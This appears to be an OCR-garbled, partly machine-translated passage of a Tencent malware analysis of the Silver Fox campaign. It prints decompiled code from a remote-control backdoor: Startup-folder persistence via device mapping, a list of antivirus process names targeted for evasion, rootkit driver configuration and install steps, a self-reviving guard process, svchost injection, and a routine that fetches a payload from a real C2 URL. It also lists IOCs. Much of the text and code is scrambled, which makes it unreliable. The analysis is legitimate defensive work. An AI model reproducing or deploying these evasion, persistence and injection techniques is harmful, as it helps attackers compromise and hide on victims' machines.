::18@1F@DE lea eax, [ebx+12Ch]

(1 18@1FBEL push eax 3 lpString2
crlealFeE2 push offset al542318426 @ ; "154.23.184.26"
(1 1@@1FRET call esi 3 lstrcpyA

1 1@@1FBES lea ecx, [ebx+26@h]

:1@@1FBEF push 2CX 3 lpString2

;1 18@1FBFe push offset aDefault ; "Default”

(1 1@@LFBFS call esi ; lstrcpyA

(1 18@LFBF7 lea edx, [ebx+292h]

11 18@1FBFD push edx 3 lpstring2

11 1@@1FBFE push offset ale ; "L.e”

11 1881F183 call esi ; lstrcpyA

11 1881F185 lea eax, [ebx+2B2h]

::1881F18B push eax ; lpString2

11 1881F18C push offset ServiceName ; lpStringl
1:1881F111 call esi ; lstrcpyA

(1 1ed1F113 lea ecx, [ebx+316h]

;1 1e@81F119 push ecx 3 lpSstring2

o . L o ma

The C2 tool itself supports 77z(adding service persistence by configuration , , and S tartup directory
mapping persistence , , and not currently 7>kadding relevant configuration. By ¥mapping the Startup
directory to \\..\'a g m k i ss 2 device , , the purpose 3k¥{lof achieving the Security Software Boot directory
monitoring by pass This method At iis the first have disclosed {1 <Ex 7 I\ Kassociated mapping of File
Association + Virtual Device Mapping + PendingFileRenameOperations Mechanism) to start 4 , the
difference is Z 4t >Ajthat this version is not F3F/% A using file association and DA
PendingFileRenameOperations combination operation , #1X3#;, hidden and effect—4¢,
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® 195 sprintf(&Buffer, Format, byte_ 18133618, g_config_path);
® 196 sub_l@e1E458(ServiceName);
® 197 sub_1@@l1FFFe(&Buffer, (int)ServiceName, (int)byte 18133386);
® 198 sub_1BB1EASE();
® 199 ExitProcess(@);
288
* 2681 if ( g_startup_config )
202 {
L E] word_1814189C = 2;
* 204 sub_1881E458(ServiceName);
® 285 memset{v47, @, sizeof(wd7));
® 205 VA = B
® 267 vAD = B
® 208 if ( ({int (__stdcall *)({_DWORD, _BYTE *, int, _DWORD))pfn_SHGetSpecialFolderPathA)(@, v47, 24, @) )
289
® 216 Buffer = @3
® 211 memset(v42, @, sizeof(v42));
e 212 vias = @
® 213 vad = 83
® 214 strepy((char *)vls, "#s\\¥s");
® 215 sprintf(&Buffer, (const char *const)vls, v47, g config path);
® 216 if ( ({int (__stdcall *)(char *))v1iB[@])(&Buffer) == -1 )
217 {
® 218 GetModuleFileNameA(@, Filename, @x1@4u);
® 219 strepy(v2z, "\V\WIPOEs\\Es");
® 228 sprintf(&Buffer, w22, v47, g_config_path);
® 221 strepy((char *)vid, "agmkis2™);
® 222 ((void (_ cdecl *)(int, _DWORD *, char *)}pfn_DefineDosDeviceA)(1, v18, &Buffer);
® 233 Sleep(@x64u);
® 224 strepy(ModuleName, "\\O\N. \iagmkis2™);
® 235 {{wvoid (_ cdecl *)({CHAR *, CHAR *, _DWORD))v34[4])}(&Name[248], ModuleName, @);
® 226 {{woid (_ cdecl *)({_BYTE *, int))w34[5]}({v46, 2);// SetFileAttributesA
227 J/{ FILE_ATTRIBUTE_HIDDEN
® 228 sub_1@@1EE28(&v17[4]);
® 229 sprintf(({char *const)&utexAttributes, v12, 8&v42[255], g config path);
® 238 v13(@, Operation, &utexAttributes, @, &w42[255], 18);
® 231 sub_1@@1EABB();
® 232 ExitProcess(@);
233
- ana B A Y

The C2 2tools 4collect security software within the system , to provide intelligence support for their
targeted bypass protection policies.
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dd offset unk_18133BC3

dd offset a3bp@sdExe ; "368sd.exe"
offset unk_18133BB4

dd offset akKxetrayExe ; "kxetray.exe”
offset unk_18133B9C

dd offset aksafetrayExe ; "KSafeTray.exe"
dd offset unk_18133B7C

dd offset aQqpcrtpExe 3 "OQQPCRTP.exe”
dd offset unk_18133B64
dd offset aHipstrayExe
dd offset unk_18133B4C
dd offset aBaidusdExe ; "BaiduSd.exe"

dd offset unk_18133B34

dd offset aBaidusafetrayE ; "baiduSafeTray.exe”
dd offset unk_18133B14
dd offset aKvmonxpExe
dd offset unk_18133B00
dd offset aRavmondExe ; "RavMonD.exe"
dd offset unk_18133AEC

dd offset aQuhlpsvcExe ; "
dd offset aQuickheal .
dd offset aMssecessExe
dd offset unk_18133AB3
offset aCfpExe ; "cfp.exe”

dd offset unk_18133A84

dd offset aSpiderExe 3 "SPIDer.exe”
dd offset aDrieb 3 "DR.WEB™
dd offset alcsExe ;3 "acs.exe"
dd offset alutpost ; "Outpost™
dd offset aVisvcExe 3 "V3svc.exe”

dd offset unk_ 181334568

dd offset aAyagentAye : "AvAgent.aye”
dd offset unk_18133A58

dd offset afAvgwdsvcExe ; "avgwdswc.exe"
dd offset afvg
dd offset aFSecureExe ; -zecure.exs”
dd offset aFSecure ; "F-Secure"

dd offset afAwvpExe 3 "avp.ewxe”

dd offset unk_18133A16@

dd offset aMcshieldExe ; "Mcshield.exe”
dd offset unk_181339F3

dd offset aEguiExe ; "egui.exe”

dd offset aNod32 ; "NOD32"

[=R=R=N~-}
=
B o® A
o
=

=]
]
lal
o
o

oLt L

HipsTray.exe"

mEEEE

B I= I= ] J V]
N T I I R R R s R R A R R R A A
=%
o

KuvMonXP.exe”
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o

[}
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mssecess.exe”

Do B0 0 GO~ -

R
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J
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The C2 tool is essentially JAja fi]backdoor remote control with a large number of functions , , based on the g
h 0 s t magic change. Contains ., . B, . core features such Shutdown Restart, Proxy Open, Window
Management, Browser Configuration Removal, Process Management, File , Keylogger, Screen Monitoring,
Mouse Keyboard Simulation.
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Bh#ALEE (Defense Evasion : TA0005)

* Rootkit module (Rootkit:T1014)

Technical point analysis (based on Tencent Yuanbao generation)

Rootkit is a highly hidden malware technology, the core function is to hook the system to the
underlying system, modify the kernel or driver, etc., to deeply hide the existence of their own and other
malicious programs (such as processes, files, registry, etc.), while obtaining system privileges to
achieve persistent residence. It is often combined with viruses and Trojans, bypassing traditional
security tool detection, and lurking in the target system for a long time, providing attackers with hidden
channels for remote control, data theft and other illegal operations, which is a typical "invisible threat"
in network security. Typical Rootkit attacks:

Earth Kurma APT campaign targets governments and telecoms industries in Southeast Asia:
https://www.trendmicro.com/zh_hk/research/25/d/earth-krma-apt-campaign.html

LoJax Rootkit (APT28Hit)
https://www.welivesecurity.com/2018/09/27/lojax-first-uefi-rootkit-found-wild-courtesy-sednit-group/

Ghost Bus Rootkit locks tens of thousands of computers home page:
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https://mp.weixin.qq.com/s/Z0RpY_RIEOyeluiD9JN2WQ

Ihae b , C2miTHBIR BT RootkitThag , %HNaEE T FHiRhidden-Rootkitlil B 7 & , BT IXzNEiEMScHd
U, RGENA , MEATFRIMTENG , iR #FRRPEDRE. B FFRE
hxxps|:]//github.com/JKornev/hidden

® 25  vl4 OpenKey (&KeyHandle, @xF@@3Fu, &0bjectAttributes);
® 26 if ([ vid »=8 )
{

sub_4814F@(KeyHandle, “H", (int)&w13, 1);

viz = vis 1= @

LOBYTE(va[@]) = vi3 != @;

sub_4B14F@(KeyHandle, "H", (int)&v13, 1);

Vil = vi3 l= @

BYTEL(vI[@]) = vi3 != 8;

sub_4817A8 (KeyHandle, "H", 7, (int)&v9[1], @);
sub_481780(KeyHandle, L"Hid_HideFsFiles", 7, (int)&s9[3], @);
sub_48178@(KeyHandle, L"Hid_HideRegKeys™, 7, (int}&s9[5], @);
sub_48174@ (KeyHandle, L"Hid_HideRegValues", 7, (int)&2[7], @);
sub_48178@8(KeyHandle, L"Hid_IgnoredImages”, 7, (int)&v2[9], @);
sub_48172@(KeyHandle, L"Hid_ProtectedImages"”, 7, (int)&v9[11], @);
ZwClose(KeyHandle);

TR SR~ T R R R SV (R S VY R - R T N

E N N N E R E NN
o O T N R Y FY R PR UY Y IR TYRNFTRY I Ry R KR SRy

P = ExAllocatePoolWithTag(NenPagedPool, @x34u, @x67666E43u);
if (P)
3
44 gqmemcpy (P, v3, @x34u);
® 45 CurrentProcessId = PsGetCurrentProcessId();
® 45 CurrentIrgl = KeGetCurrentIrgl();
® 47 DhgPrintEx(
43 BxdDu ,
a9 2u,
se "QAssist!InitializeConfigs[irgl:¥d,pid:¥d][trace]: Config is initialized\n”,
51 CurrentIrgl,
52 CurrentProcessId);
® 53 return @;
54 }
55 else
56 {
e 57 v7 = PsGetCurrentProcessId();
® 53 v3 = KeGetCurrentIrgl();
e 59 DbgPrintEx(
68 Bx4Du,
61 8,
62 "QAssist!InitializeConfigs[irgl:¥d,pid:¥d][error]: Error, can't allocate memory for the config context\n",
63 V3,
B4 V7Y
& 55 sub_481968(v0);
®* 66 return -1873741881;
57 }
68}
59  else

7@ {
7 wildy
PsGetCurrentProcessId();
! kKeGetCurrentIrgl();
DbgPrintEx(

@w4Du.

3O oy

V2
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Releases 2

[0 README
release-vi.1

Hidden ua

Contributors 4
W komev

B rvHve
. Pernatly
. chald?

Languages

ex sl= from hiding and protectio

usermode interface (lib and cli) for working with a driver

and so on

System requirements

Windows Vista and above, x86 and x64

Recommended build environment

LH io 2019

* Windows Driver Kit 10
Building

Following guide lains how to make a release

. Open Hidden.sIn using Visual 5
Build Hidden Package project with configurations Release, Win32

3. Open build results folder <ProjectDir>\Release

Installing

Disable a digital signature enforcement on a test machine (bcdedit /set TESTSIGNING ON) and reboot it
Copy files from <ProjectDir>\Release\Hidden Package to a t

3. Right mouse click on Hidden.inf and choose Install

4 rt a driver (sc start hidden)

5

. Make sure service is running (sc query hidden)

Important: Keep in mind that the driver bitness ha be the same to an OS bitness

iding

e Obfuscated Files or Information (T1027)
The second shellcode is designed to load the daemon function.

The GUARD function load loading process is consistent with the C2 load, and the GUARD daemon module
is finally decompressed in memory by executing Shellcode and combined with the LZ77 decompression
algorithm.
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28 sub_CD( Js // peb-ldr-init api

21 = sub_BB(); // @xFFasFees SEE(

22 = 8; // MEEEREE vis - @

23 = + BxBALS4A; // ex1e666854A

25 = “3( + BxBA1557); // 188888557 -->8x26D

26 = “3( + BxBAL154B); // 188888548 -->8x75

27 H /{ 1eeeea7B7--»787 payload
28 i (

» _

30 = *(_DWORD *){vl + 5);

31 = (int (_ _cdecl *)(int, _DWORD, int, _DWORD))({vl + wv4};// 1:00608085BF
32 = (e, , 4896, 4);

34 if (! )

35 eturn 8;

36 = » *(_DWORD +9), v, *(_DWORD *)(vl + 5))3// LZ778E
37 if (w8 == -1 || v3 1= *(_DWORD *)(v1 + 5) )

38 {

39 (v7, *(_DWORD *)(vl + 5), @x4800); // fix-pe-run

48 return @;

a1 }

43 =13

el -

45 iF ( *(BYTE *)ul )

46 ((wvoid {_ cdecl *){_DWORD, int, int *))sub_1CB)(@, + Bx11, &viS);

47  else

4 ((wvoid (__cdecl *)(int, _DWORD, int *))sub_1CB)(vl + @x11, @, &v15);

49 if ( )]

58 ( » F(_DWORD *)(vl + 5), ex4eee); // fix-pe-run

51 return H

e Event Triggered Execution (T1546))
Technical point analysis (based on Tencent Yuanbao generation)

The Trojan achieves self-resurrection and persistence through dual-process daemon technology, and the
core mechanism establishes two-way monitoring for two malicious processes: the main process and the
daemon detect each other's survival status in real time through inter-process communication (such as
shared memory or IPC), and after any process is terminated, the survival process immediately recreates the
terminated process. Such Trojans often camouflage system processes (such as phishing of exception
process names in svchost.exe or system32 directories) and ensure the existence of associated processes
by regularly scanning the list of processes. When the user tries to terminate one of the processes, the
daemon detects its exit and automatically rebuilds it, and even defrauds the monitoring logic by replacing the
terminated process as a normal program (such as Notepad), forming a closed-loop protection chain to
escape manual Killing.

The GUARD guard inactivation determination logic is as follows:
1: Is there a confirmed survival state by traversing the TCP link of the C2 process.

2: By directly judging whether the C2 process can be opened to confirm the survival state.
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)

a;

Zi v2 = (unsigned int *)sub_leBecBAB(28); /1 ATERIE
12 iF ( vz )
13 return @8;
14  pdwsize = 28;
15 if ( GetExtendedTcpTable(v2, &pdwSize, 1, 2u, TCP_TABLE_OWNER_PID_ALL, B) == 122 }// GetExtendedTcpTable - HEITCPIEER
16
17 sub_1@@BEBI8(v2);
18 v2 = (unsigned int *)sub_1068CBAG(pdwsize);
19 if ( vz )
28 return @;
21}
22 if ( lGetExtendedTcpTable(v2, &pdwsSize, 1, 2u, TCP_TABLE_OWNER_PID ALL, @) )
23 {
24 V3 o= 8;
25 if (%2 )
26 {
27 B T
28 while ( (void *)wa[5] != this || *va 1= 5 )// BATCPEZTHETHEAERE
29 {
30 3
31 V4 4= B /1 BBENEIT —TerEM
32 if (3 3= *y2
33 goto LABEL_12;
34 }
35 vl = 1; /f HEILRED - HEREENFRTEFSER
36 }
37}
38 LABEL_12:
39 sub_1@@REBIA(v2);
48 return vi; f BESER - 1RZTEMNEEE. oR TR ES
41 }
while ( 1)
{ [ TR - HESIEERHEERE
while ( sub_1@8@197A( (void *}dwProcessId) || sub_l@@elA24((void *)dwProcessId) )
{
V7 = 8; /0 BEERIET - ERWHEFEF
Sleep(@x1D4CAU); /f fF Fff120%0 (ex1Dace = 120008ms)
¥ )
vE = OpenProcess(@x4@Bu, @, dwProcessId); // // BifiTH#HE - HEREESIRATESE
if (ls )
break;
CloseHandle(va);
Sleep(BxBBBU) ; /177 FE4$33 (exeBs = 3@00ms)
if (07 >=20) /0 BEERE - FEE e

vd = OpenProcess(lu, 8, dwProcessIdy; // // BHIE|F#E - #HTerminateProcess
TerminateProcess(vd, lu);
vle = (const char *)v33;
if ( v33[5] > @exFu )
vl@ = (const char *)v33[e];
sub_1@@e25FA(Filelame, vi1d);
w1l = sub_1@@e1lAD3(FileName);
sub_1@@e35F3(Filelame);
if ( lvil )

w37,
" fc copy /B C:\\ProgramData\\WindowsTemp\\1+C:\\ProgramData" \WindowsTemp\\2+C:\\ProgramData\\WindowsTemp\\3 \"");
qmemcpy (v2l, v33, @x1Bu);
sub_leeelese(vie, "XsHs", (char)vi7);
dwProcessId RD)w21;
sub_1@@@25FA(v21, v36);
LOBYTE(v38) ;

3
3
(
2
e

:

LOBYTE(v38)
sub_108@1AF1

15,

6;

(v
.

suh_laaastA?&'.-is, "C:\\Windows\\System32\\cmd.exe");// // WHomd. exelf i - ATFHIT®HS
(

Guarding the configuration:

In order to ensure that the malicious files are not detected, Silver Fox divides its own code into three sub-
files in the WindowsTemp directory.

The following figure combines the 1, 2, 3 files released by the Trojan itself into 123, which can be used to
regenerate the malicious load for file resurrection, and the essence is still a malicious load written for go.
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W IDA - 123 C\ProgramData\WindowsTemph123
i File Edit Jump Search View Debugger Lumina Options Windows Help
BEH 2-%- GQQR@E G 1 A- A@® ELO%E-O0 € P 0 0 dbugger v
] i
oz s [l | I
Library funotion [l Eegular funotion [l Instruction | Data | Unexplored = External symbol Ml Lumina functiom
HEBEE > FHEEESE (C:) » ProgramData » WindowsTemp —
[F] Functions O & x i IDA View—h 8 @ Hex View-1 @ Lo
& =5 - + = [7 .text:ee4sC91@ ; [Peeee88S BYTES: COLLAPSED FUNCTION _rt®_386_
Function name Cal text: 08450915 align 18h
¢ 1 i T g thub_com_mani foldes_go_ -text: 88450920
12 = v torus—eli AEXE:BB4SCI20 ; =============== SUBROU T I N E ===s====:
¢ '_ v 1 denti by Jtext: 98450028
L3 ST ;:i github_com_manifoldoo_ ~text:@@45C920 ; sigtramp
L 12 ik github_som_mani Faldeo_ L text:ee45c928
. = A4 main text: 00450928 sigtram) roc near ; CODE
’ 1123 i [T main_toyptihdnPrHlbeeKpHAZRD am: text:p9450928 & P F . ,.:m
123id0 00 T [F main_ CqolINTCowxTzThcECana text: 08450020
= 1331 1 [F main Cqel¥HTCowsT:ThelCasa_funcl et 00450928
i D1 374 : ; . =
X £ main._elapsBinty v eKpiZhe dTine text:8845C920 var_28 = dword ptr -28h
123.id2 D2 [f] mainCoslOMCond Thotit text:9945C028 var_24 = dword ptr -24h
IF main_hIMd=QdSnodia : : var_. = F ‘
1 123.0am NAM 3 Crie e . text:8e45C920 var_28 = dword ptr -28h
12341 TIL 324 f _xB6_get_pe_thunk_ax -£ext: 80450928 var_1C = dwerd ptr _l(_y
- . B " x86._get pe_ thunk _cx . text:8845C920 lpOverlapped = dword ptr -18h
l# merge_binary Python __xff_gat_po_thunl_d L text:8845C920 NumberOfBytesiritten= dword ptr -14h
__xB6_get_po_thunk_bx . text: 88450028 var_l@ = dword ptr -18h
§| _xB6_get_pe_thunk_bp . text: 88450928 var_C = dword ptr -ech
_xB6_get_pe_thunk_si L EExt: 88450928 var_8 = dword ptr -8
_xES__zaf_pc_th\ndr_di text: 88450928 var_4 = dword ptr -4
go_buildid . LeXt:89450928 arg B = dword ptr 4
type_eq internsl _cpu_sption text: 00450928
! 'W‘—‘“—‘h‘?m-:{“°"?“‘ , ¥ . text: 08450928 mov ecx, [esptarg 0]
twe_eU\u\tme_?ntern _alon:_c_'ll: L text:ee45C924 sub esp, 28h
type__eq runtime_internal_atomic_In. | | o | L cmnan . o AL e = L.

Suspicious Switches

. Updated? ? BIZ2E (Supply Chain Compromise (T11 9 5))

{7+ In addition to the extensive of the direct (K]l P address C 2, 4} , the C2 load loading front-facing
process also has ' a communication domain name (3236dsfffkgt[.]icu) access process built-in , the
communication using the process determine the highest logical priority, 5 , and once the load in the
address is successfully loaded , I, it does not go through the subsequent fjlocal encryption CC2 Bt &
configuration process.
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43 if ( Get3238dsfdfgt((const char *)dword 726FEECC, (void **)&Payload C2) )// BS@EEREHMC2, 3236dsFdfgt. icu

> if ( g_QQPCRTP_36@ ) /i BIEER, 360
47 ((void (_ stdcall *)(void (*)()))Regset)(sub_72676818);
48 LOBYTE(v17) = 3;
49 sub_726735A8( (HANDLE *)via);
59 MemLoad( (int)Paylead_C2, g_Size); /i BE#H
51 LOBYTE(v17) = @;
52 sub_72668ACE({v18);
53 }
54 else
55
56 InjectSvchost({Payload_C2, *(_DWORD *)g_Size, 1, dword_726FEE2C != @);// 2,k EFEE P HEERIC2-SHELLCODE
57 InjectSvchost(Payload_Guard, @x226BAu, @, @);// T\ GUARD-SHELLCODE
5 ¥
¥
else if ( g QQPCRTP_36@ ) /i C2RET BEER. 30 ET
1
((void (__stdcall *)(woid (*)()))Regset)(sub_72676818);// ‘TMHE

LOBYTE(w17) = 2;
sub_726735AB( (HANDLE *)vil);
File MemLoad(); JF ShERI R B #HIc
LOBYTE(v17) = @;
sub 72668AC8(v11);
}
else /1 BEMEZIIFE
{

b e N I s I o s I L+ T I s I S R |
o .

i ha b= @ W~ MWWk ® W s MW AWk ® W

13 = @3
8 = (SIZE T *)&vi13;
GetModuleFileNameA(®, Str, @xledu);
2

if

wl

wl

7 = sub_72676668(5tr, '.'); [ BEE A

7 (v2)

7 *,0 = 8

7 DecryptFile Payload((int)str, (int *)&1pBuffer, (int *)&wa);// $hEFTIFAESESHELLCODE

7 InjectSvchast(1lpBuffer, *vB, 1, dword 726FEE2C != @);// 4> EEIESTEHRIC2-SHELLCODE
7 Injectsvchost(Payload Guard, @x226BAu, 8, 8);// E M GUARD-SHELLCODE

g0}

8 /17 = -1;

8 return sub_72655678(vI);

E L

Load acquisition method : BAwith the built-in name (3236dsfffgt[.]Jicu ) as , splicing directory (kk1) ) +
remote control configuration C 2 (154 [.) 23.184.26) + file name (code32) ) generates a complete fKJU R L
(3236dsfdfkgt].]licu/kk1 154.23.184.26 /code32)) . After obtaining the data in the address , , F ) FH{Tthe S
HEELLLLC O D E decryption is performed in the same manner the file in the previous analysis.,

At the time of analysis , because the domain name was not configured to resolve, , the load could not be
downloaded Successful : hxxp[:]//3236dsfffgt[.]Jicu/kk1/1523.184.26/code32
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27 = (char ')unkncwn libname_l@@(@x184u);

28 stropy( , "GET http://");

29 sub_726771686( N %'%5%5%5 rn”, , hame, aUi, Y://f http://3236dsfdfgt.icu/kkl/154.23.184.26/code32

3@ if { ((int (__stdcall *)(int, char *, unsigned int, _DWORD))dword_726FEF3C)(s, , strlen( ), 8) 1= -1)
31 {

32 memset( , B, sizeof( E

33 =8

34 =1;
35 = 8;
36 while ( 1)

37 {

38 = recv(s, , 4896, @);

E strepy( , 484 Not FU);

18 strepy( , "40@ Bad");

1 if ( sub_72676688(buf, ) || sub_72678888(bUT, 1)
2 break;

if (va )

if =8 )
break;

7 ub _726757€0( (int)a2[1 ] (i

1] = (uns gne

sub ?26?5? e((int) int

5@ *32 = unknown_libname_l@@ (

)

nt)buf, 4u);
d int)(*(_DWORD *}a2[1] - &) »» 1;
JRbLT[24], Bxl4u);
{_DWORD *)a2[1]);

C
'(
ES

52 for ( =8; < ; +H

Further analysis found % f{jthat the malicious UUR L of multiple other splicing C2 addresses , , and it was
speculated that the u was left by a switch , by #££kdynamic updates or black-and-black backdoors.,

DITNAREFFRIER

1: : The update function should be considered for the project , T, and the switch here uses _Fonly the 2]
outgoing of communication module, , and does not care about other attack modules , , so is t4possible to
be updated .

2 : Updates ZfigEusually require a common addressBA] , , without XJ2:#4Tthe need to C2 identities as
subchannels. Here, the 4t server domain name splicing the #FCC2 communication address in load a load
update directory , iZis more a top-level attacker 7EX$Cit{Tcategorizes and manages different C2 channels
downstream.,

3: EEHBIT , WEECURELIATIP , DomainE#IAR TAREZ N ERUC2HRRNE — M EERE
ARBESE AL , XA BHC2E G T E] HiTH , FRARRMYIR.

A HENAE R E R TRIZE, RIMVER™ THARMRC2RFZHTHEEER A , — Bl
TMERHEEXNNAC2E R LS THERESRECE | , WX MKER™TiFED XAEIEFIEANC2RHENTFE
TEANIEHAHEE C2Mtt , FEMIINHT EAATHIAENFF .

C2:

202.95.16 [.] 6 (&)

nihao-ww [.] cc (H&-fRATEIEH)
23.132.132 [.] 62 (%H)
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TAURL:
hxxp[:]//3236dsfdfgt[.]Jicu/kk1/202.95.16.6/code32
hxxp[:]//3236dsfdfgt[.]Jicu/kk1/nihao-w.cc/code32
hxxp[:]//3236dsfdfgt[.]licu/kk1/2.132.12.22/code32

04

Tencent terminal security products anti-silver fox fishing program

Based on the accumulated experience of Silver Fox basic |IOC detection, behavior TTPs protection,
residency items and defense evasion technology detection and cleaning, Tencent's terminal security
products have formed the following diagram to sense, defense, detection and cleanup solutions for the threat
of Silver Fox attacks. We are willing to cooperate with domestic enterprises, security manufacturers and
other industries to build terminal security prevention and control program, interested security manufacturers
or enterprises welcome to contact us, contact email: tix@tencent.com

ATTRCK - EWR - PR P SR8
QmEhin  saes

WEHBIBE, IMSRH BBIHEN
3 £ k Eh EmE. kD AENHE. B
EEB*) BiFERRETE, Mz TR A
REBNBHE Rggse T RIS,
@ BERS BiTHSE TSR HIHREN
- ABEST R R RI A feip g
= MEEAT AR RIS B RERE

O mmmBassAk

. ENERE
BRI EEEREN .
. BIRFHEESLM FST RWBYOVD N | (TARAERE RAdoTeN
T MuneAf BESS TROSES mpg | EREMENE Rootkitatiit
BERAK
i @ sesiE mEew YT WmE. W
n(:* T HaE T RBliEEs R B
BiRENSC2RR S - " = IP, 4. URL .
2 BTN R N onsp ROPESH  UMIBEAL
RioH, B T, B R B R .
Bz
Tercant Security

Tencent computer butler & zero trust iOA anti-silver fox fishing ability panoramic view

05

Safety advice
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Be vigilant and beware of phishing attacks: Do not arbitrarily open links of unknown origin, click on mail
attachments from unknown sources or download applications that install non-trusted channels, and maintain
a high degree of vigilance over unofficial notifications and procedures for social media dissemination such as
WeChat and QQ;

Careful handling of sensitive information: When involving the input of sensitive personal information (such as
bank card numbers, mobile phone verification codes, etc.) or money transfer, it is necessary to carefully
check the source of information and use to ensure that the operation is safe and legal,

Timely deployment of security software: It is recommended to deploy terminal security software such as
Tencent computer steward, Tencent iOA zero trust, open real-time monitoring functions such as phishing
protection, and keep the system and security software version updated in time to have the latest protection

and killing and disposal capabilities.

< Y BERmRER - =28 B @ & Qo e - X

EH4hE Rva:Ips:: ]

| @ S 7 TXE

== ST, ANEERRE
B secsuEsiie, Bl ) BNz
=
=
B O p%n

B SSEErEEFEEIeETIEST, UUEEEREETEEER

09

Partial Threat Indicator (I0Cs)
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C2

202.95.16 6

nihao-ww.c

23.132.132.132 ] 62

154.23.184 26

Totally controlled domain

3236dsfffgt[.]icu

General control u r |
hxxpl[:]//3236dsfdfgt[.]icu/kk1/202.95.16.6/code32
hxxp[:]//3236dsfdfgt[.]Jicu/kk1/nihao-w.cc/code32
hxxp[:1//3236dsfdfgt[.]icu/kk1/2.132.12.22/code32
hxxp[:]//3236dsfdfgt[.licu/kk1/154.23.184.26/code32
File Hash(M D 5)
404986b61dd879fe5d184054c8eff3d4
d337e79aaa135ca50bd8ac440342092
cb01200cd16f1127f5fd70136€542205
0e543e289ecd7add130d95fb751c7b7c7c
b300d7511fe2653d1b5e22333480119
bb183499f1c2ddbb06a999a8a52c2572
3d66b12f784c8ec6c20ff22a60865d93
4b94d7c5c4eeaddalbecbd976d5ab432
6aab19ab9ec30ff92fc27e5cc9d6910
cb01200cd16f1127f5fd70136€542205
78e95d0fb3933eb9734d29b033b0e64d

391406e9f899a3769b1df02171a6f141
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a277767cc12644df1bbc8a9fd94fa

29ae38d371653a06205443feaab603c7e

de6e2a7e28ae777513506f1a244b0544

4f817642cda0f9093b54e793d99¢c2d

0ab804759d5e65f878fc86a8365385d

Ob6ead8868d07f819939f05ec730d1b4
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